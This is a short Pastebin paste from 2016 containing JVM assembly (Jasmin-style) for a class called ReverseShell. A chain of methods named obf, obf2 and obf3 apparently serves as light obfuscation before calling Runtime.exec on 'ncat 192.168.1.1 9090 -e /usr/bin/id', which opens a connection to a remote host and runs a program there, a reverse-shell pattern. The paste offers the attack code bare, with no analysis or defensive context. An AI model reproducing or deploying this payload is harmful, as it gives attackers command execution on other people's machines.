Advertisement
opexxx

ReverseShell.j

Jan 7th, 2016
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. .class public ReverseShell
  2. .super java/lang/Object
  3.  
  4. .method public static obf(Ljava/lang/String;)Ljava/lang/String;
  5. .limit locals 4
  6. .limit stack 8
  7. ldc "hello world"
  8. invokestatic ReverseShell/obf3(Ljava/lang/String;)Ljava/lang/String;
  9. areturn
  10. .end method
  11.  
  12. .method public static obf3(Ljava/lang/String;)Ljava/lang/String;
  13. .limit locals 4
  14. .limit stack 8
  15. ldc "hello world"
  16. invokestatic ReverseShell/obf2(Ljava/lang/String;)Ljava/lang/String;
  17. areturn
  18. .end method
  19.  
  20. .method public static obf2(Ljava/lang/String;)Ljava/lang/String;
  21. .limit locals 1
  22. .limit stack 8
  23. invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;
  24. ldc "ncat 192.168.1.1 9090 -e /usr/bin/id"
  25. invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;
  26. ldc "test"
  27. areturn
  28. .end method
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement